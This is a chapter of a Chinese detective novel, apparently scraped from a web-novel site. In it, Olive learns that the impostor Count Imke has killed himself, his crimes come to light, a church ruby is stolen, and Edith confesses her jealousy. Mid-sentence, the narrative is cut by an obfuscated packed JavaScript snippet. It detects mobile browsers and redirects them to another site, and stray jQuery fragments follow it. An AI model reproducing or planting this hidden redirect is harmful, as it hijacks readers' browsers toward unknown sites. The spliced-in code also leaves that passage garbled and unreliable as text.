33. 交口赞誉
作品:《奥丽芙与伯爵大盗》 回到房间,奥丽芙好好泡了个澡,把身上涂的油彩洗掉。她的精神仍然处在兴奋中,怎么也不想上床睡觉。时针已经转过一点,她还在屋里走动。有人敲门,是酒店夜间值班的侍者。
他递来一封信:“布莱克小姐,抱歉打扰,我看见屋子亮着灯,库珀先生说,若你还没有休息,这个交给你。”
奥丽芙谢了他,立即拆开信封。信纸上是库珀先生粗大的字体,但写得很潦草,可见是急急忙忙中写就的,奥丽芙也急忙开始读。
信不长,如下:
亲爱的费克特小姐
我刚刚获知了一个由布朗先生亲自带来的讯息。我想,你可能正等着这个消息,趁布朗先生还在这儿,我可以一边与他确认细节,一边记述经过。请知悉:杀害费克特先生的凶手已在其寓所内自杀身亡。
多亏了你,布朗先生已做好了充足准备,从今天上午,便派人在各个车站守着,令范德梅尔伯爵(我暂时不知道该如何称呼他才好,姑且还是用这个旧称谓)插翅难飞。
不过,布朗先生猜测,伯爵最有可能的目的地是多佛尔港,于是,布朗先生本人便去了维多利亚车站。
果然,今天晚上八点半,他在那儿发现并拦截了范德梅尔。
被拦住后,范德梅尔答应绝不损害伊迪丝的名誉,请求允许他独自离开伦敦,布朗先生没有答应,但并未提到费克特先生,只说警方对他的身份有疑问,需要他留在伦敦,等待调查结果。
布朗先生送范德梅尔伯爵回到他的住处,并以美国使馆的名义,联系警察在宅邸外面看守,这可能是一个错误。距十二点约五、六分钟时,警察听到卧室内传出枪响,他们冲进房间,那位假充伯爵的恶棍已经死了——死亡是确凿无疑的,有人报告给布朗先生,刚才他赶去,见到了尸体。那边已经被警察厅接管,布朗先生没什么可做的了,他立即回来告知我详情。
好在,罪犯死前留下遗书,承认自己杀害费克特先生的罪行,其余情况我们要到明天才能知晓。布朗先生粗略浏览过遗书,确信没有涉及伊迪丝的内容,这点我们可以放心。
伊迪丝说,他本来准备经由比利时逃去瑞士。
我和伊迪丝怎么感激你都不过分,但今晚不再打扰你了,愿你有个好梦。
你忠实的:亚当·库珀
接下来几天,奥丽芙主要从报纸上、少部分经由布朗先生补充,获悉了因姆克的生平和犯罪事实。报纸只字未提到库珀先生和库珀小姐,不过,因姆克与伊迪丝的相识过程,是奥丽芙本来已经知晓或猜测到的事。
假冒范德梅尔伯爵的这个人,原名扬·因姆克。
他出生在荷兰的一个市民家庭,家境富裕。其父在阿姆斯特丹从事进出口贸易,他对独生儿子寄予厚望,希望儿子能够继承衣钵,还想把儿子培养成一名绅士。
因姆克得到了所能得到的最好的教育。不过,充足的教育并没能提升他的品德,却使他更加渴望金钱和受人景仰的地位,同时也助长了他不劳而获的妄想。双亲过世后,他终日游手好闲,迅速花光家产,到处混日子。
在阿姆斯特丹一家赌场,他结识了同岁的丹尼尔·范德梅尔伯爵,两人一见如故。伯爵将因姆克带回哈勒姆,将他介绍给母亲和妹妹。
因姆克发现伯爵的妹妹相貌美丽,暗地里追求她。范德梅尔小姐被因姆克的英俊外表和花言巧语蒙蔽,又以为他能够劝说哥哥不再沉迷赌博,很快和因姆克订了婚。
可是,和因姆克结交后,丹尼尔堕落的速度反倒加了倍,终于有一天,他身上一个钱都掏不出来,并且一个钱也借不出来了。丹尼尔向因姆克透露,自己无颜面对亲人,想要一死了之。这时,因姆克发现亲事已经无利可图,又另生一计,劝说丹尼尔换个地方再碰碰运气,借给他一笔钱,还让伯爵在旅途中冒用自己的名字“因姆克”,以防止债主追上他。
丹尼尔使用因姆克的身份离开荷兰,一直跑到了意大利。他的母亲和妹妹在家中惊慌失措,因姆克向她们保证,一定把丹尼尔找回来。他直奔意大利,在那里,两人见面,丹尼尔又一次输光了钱,决意要自尽,嘱托因姆克替他照顾家人。因姆克表面上劝解,实际上却使丹尼尔坚信只有死亡才是唯一的解脱。他很快实施自杀,因姆克偷走他身上所有证明身份的东西,让别人以为死的是因姆克,自己则摇身一变,成了范德梅尔伯爵。
因姆克在世上无亲无友,唯一在乎他的人就是远在荷兰的未婚妻,因姆克认为,只要不回荷兰,身份被揭穿的可能性就不大。他每隔一段时候便给范德梅尔小姐去一封信,谎称还没有找到丹尼尔,但已得到一些消息,继续找下去很有希望,藉此稳住母女二人。而这时,老伯爵夫人为了应付债主,已卖掉栖身的房屋和身边最后一点值钱的东西,和女儿搬去陋巷,过着贫民的生活,再也无力通过别的方式寻找儿子,只能听信因姆克的话。
假伯爵先是在马赛混了一段日子,无人识破,从此胆量愈壮,赌博赢了一笔钱后,雇仆从,租马车,大摇大摆地去了巴黎。在巴黎,他听人说库珀先生是个真正的阔佬,又只有一个女儿,便收敛本性,装成一个潇洒、风度翩翩的青年,接近库珀小姐……
后面的事是奥丽芙不忍细看、细思的,但与她的猜测差不多:因姆克与费克特先生会面中,发现费克特先生对丹尼尔·范德梅尔赌博败家的事有耳闻,因姆克非常惊慌,担心库珀先生因为自己是个赌徒而生气,这还罢了,他更怕费克特先生联系到荷兰的老伯爵夫人和小姐,牵出自己假冒伯爵一事。一不做二不休,他假装要向费克特先生忏悔错误,约他晚间在户外散步详谈,在一处僻静的马路,他杀死了费克特先生。
因姆克的认罪自白写得一清二楚,伦敦警方不得不纠正费克特遇害一案的结论,由此,他们必须联系遇害者的亲人。
这样,尽管布朗先生和库珀先生没有将奥丽芙的身份向外泄露一个字,但新闻记者很快发现“布莱克小姐”就是费克特小姐,于是,所有人全都知道了。
嗅觉灵敏的记者们还把费克特小姐与警方口里语焉不详的“协助破案的神秘姑娘”联系在一起,察觉到一则能引人入胜的新闻。一连几日,记者们蜂拥而至,候在绿窗酒店外面,请求采访。奥丽芙一个也不肯见,请酒店总管贝斯特先生统统代为谢绝了。
不过,记者还是有办法,即使没有见到本人,他们也写出了一篇篇有趣的新闻故事,甚至可以说,和真实情况出入不大。在报道中,奥丽芙被盛赞为坚毅勇敢、心思缜密、足智多谋的年轻女孩,正是因她乔装改扮,暗中接近目标,才成功揪出杀父凶手。很多人建议苏格兰场为费克特小姐颁发荣誉奖章。
警察厅没有采纳这一建议。但迫于压力,他们在报上刊登了一则声明,为办案中的疏漏向奥丽芙公开致歉。
对伦敦警察来说,这是一段非常不好受的时候,因为,在假范德梅尔伯爵自尽当晚,伦敦城里再次发生了珠宝窃案——已是第七起!
前面六件失物依然全无下落,而这回,窃贼甚而偷到了教堂:万圣教堂丢了一颗未镶嵌的红色尖晶石。这颗宝石重达四十五克拉,由多位富有的教众集体出资,从宝石商人手中购得,在被盗的前一天刚被献给教堂;年事已高的教区长巍颤颤的双手捧着它,亲自将它安放在藏宝室中。
这次窃贼改变了模式:首先,他连续两天偷盗(尚不能确定教堂失窃究竟发生在午夜钟响之前还是之后,不过只有几分钟之差,姑且算作河岸街窃案的第二天
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147483|192595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
),这使警方深感羞辱和愤怒,决定尽一切力量阻止盗贼偷下一件珠宝;再者,以前盗贼只偷私人财物,此次却偷了教会的物品,这也令所有教民义愤填膺。
不过,总的来说,伦敦上流社会似乎已对珠宝被盗不再大惊小怪了,要不然,就是大家为“假伯爵”事件所震惊,无暇关注其它。在一间间布置奢华的客厅中,被谈论最多的是假充范德梅尔伯爵的因姆克,以及,假装布莱克小姐的费克特小姐。
见过奥丽芙的太太小姐们或钦佩或怜惜地回想名不见经传的“布莱克小姐”:原来她是费克特小姐,是纹章学家费克特先生的女儿,她为了寻找杀父仇人,求助于库珀先生,冒充成她的教女。一时间,所有人对失去双亲的孤女充满了同情,无人忍心责怪她欺骗了大家。
确实有人回忆起那天的化装舞会,想到费克特小姐没有参加。这是很自然的,当时她的心情多么紧张啊,只顾担心“范德梅尔伯爵”会不会被捕,杀父大仇能否得报,肯定没有旁的闲情逸致。还有人提出,那天,库珀小姐在舞会上戴了黑色假发,不肯说话,表情严肃,举止有几分像费克特小姐,这都是有意为之——因为库珀小姐在为她的朋友担心,同时,想要给朋友鼓劲。
那些从前没见过奥丽芙的人,都想要见一见她,信件如雪片般飞来。甚至连外交大臣布莱登公爵也给她写了一封亲笔信。信中,公爵对奥丽芙表示了鼓励和慰问,也对自己未能识破因姆克的骗局流露出少许自责之意,信的最后,还附上了公爵夫人的两句话,希望奥丽芙能去家中作客。
对布兰登公爵和其他人的好意邀请,奥丽芙都婉言谢绝了,她谁也不想见,只想一个人呆着。
不知为何,她总有点不满意,也不知是对自己,还是对谁。她还有一种无法排解的忧伤情绪,并且,这不是怀念父亲引起的忧伤。对于这种心情,奥丽芙百思不得其解。
.
有好几天,奥丽芙不曾出过绿窗酒店的大门,伊迪丝也一样,外人以为两位姑娘肯定是彼此作伴,等待事情的热度逐渐散去,便会像往常一样,打扮得漂漂亮亮,出席各种宴会。
其实,奥丽芙已经打算回诺丁汉郡的姨妈家了,但离开伦敦前,她得见见伊迪丝——自从那晚伊迪丝披着斗篷回来,两人还没有碰过面。
这天,奥丽芙终于想好了一些劝慰的话,来到伊迪丝的屋子。珍妮开了门,请她坐在沙发上,片刻,伊迪丝从卧室走出来,向奥丽芙笑了笑,表情很生硬。奥丽芙便不知该从何说起了,两个人默默坐着,突然,伊迪丝发出一声啜泣,接着便泪水涟涟。
“对不起。”她扑上来抓住奥丽芙的手,“对不起,我从来没有对你说过真心话。从见到你那天,我就一直嫉妒你,因为你又美丽又聪明,你懂得比我多。我知道大部分人都怎么看我:虽然富有财产,但是娇生惯养,头脑浅薄,只知道拿漂亮衣服打扮自己。我参与凯里夫人她们搞的慈善工作,但我心里并不是真的想要帮助穷人,是因为反正我钱多得花不完,我希望别人夸我。我既不聪明,也不善良,我就像个玩偶。”
奥丽芙想要反驳,伊迪丝用力按住她的手,不让她说话。“所有人,只要认识了你,就更喜欢你,我看得出来。”
奥丽芙的心飞快地、甚至于欢快地跳了几下。但她马上脸红了。不是这样,肯定不是这样,根本不可能,伊迪丝的想法毫无道理。尽管奥丽芙坚定地对自己这么说,她的心却跳得越来越厉害,好像自己做了一件很错很错的错事,又羞于承认。
“连我父亲也总是赞扬你。但我不肯承认你比我强,总是想找到你的缺点,想贬低你。现在我才知道,你比我想的还更好,更了不起。”
“不是的……”奥丽芙终于能勉强开口。

